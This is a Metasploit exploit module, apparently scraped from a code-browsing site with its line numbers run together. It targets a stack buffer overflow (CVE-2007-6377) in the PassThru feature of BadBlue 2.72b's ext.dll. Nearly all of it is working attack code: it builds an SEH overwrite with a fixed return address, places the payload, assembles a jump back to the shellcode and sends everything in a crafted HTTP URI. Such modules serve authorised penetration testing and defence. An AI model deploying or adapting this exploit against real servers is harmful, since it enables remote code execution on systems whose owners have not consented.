Path: blob/master/modules/exploits/windows/http/badblue_passthru.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.9# However, a proper Server header is returned when requesting /index.html or using HEAD.10HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }1112include Msf::Exploit::Remote::HttpClient13include Msf::Exploit::Seh1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',20'Description' => %q{21This module exploits a stack buffer overflow in the PassThru22functionality in ext.dll in BadBlue 2.72b and earlier.23},24'Author' => [ 'MC' ],25'License' => MSF_LICENSE,26'References' => [27['CVE', '2007-6377'],28['OSVDB', '42416'],29['BID', '26803'],30],31'DefaultOptions' => {32'EXITFUNC' => 'thread',33},34'Privileged' => true,35'Payload' => {36'Space' => 750,37'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",38'StackAdjustment' => -3500,39# 'EncoderType' => Msf::Encoder::Type::AlphanumUpper,40'DisableNops' => true,41},42'Platform' => 'win',43'Targets' => [44# This is the version being distributed on badblue.com as of Jul 7th 201045[ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)46[ 'BadBlue 2.72b Universal', { 'Ret' => 0x10033f44 } ] # pop/pop/ret from ext.dll v1.0.0.147],48'DefaultTarget' => 0,49'DisclosureDate' => '2007-12-10',50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)57end5859def exploit60seh_offset = 411661# sploit = Rex::Text.pattern_create(seh_offset)62sploit = rand_text(seh_offset)63# Need to jump over the nul byte64seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')65sploit << seh6667plen = payload.encoded.length68sploit[seh_offset - 16 - plen, plen] = payload.encoded6970# This pointer will force a crash when it is used in a lock instruction71ptr = rand_text(3)72ptr << [0x80 | rand(256)].pack('C')73sploit[seh_offset - 8, 4] = ptr7475# These two bytes get corrupted, so we can't use them.76sploit << rand_text(2)7778# jump back to the payload79distance = 2 + 8 + 16 + plen80sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string8182# Build the final URI83uri = "/ext.dll?mfcisapicommand=PassThru&"84uri << sploit8586print_status("Trying target %s..." % target.name)87send_request_raw({ 'uri' => uri }, 5)8889handler90disconnect91end92end939495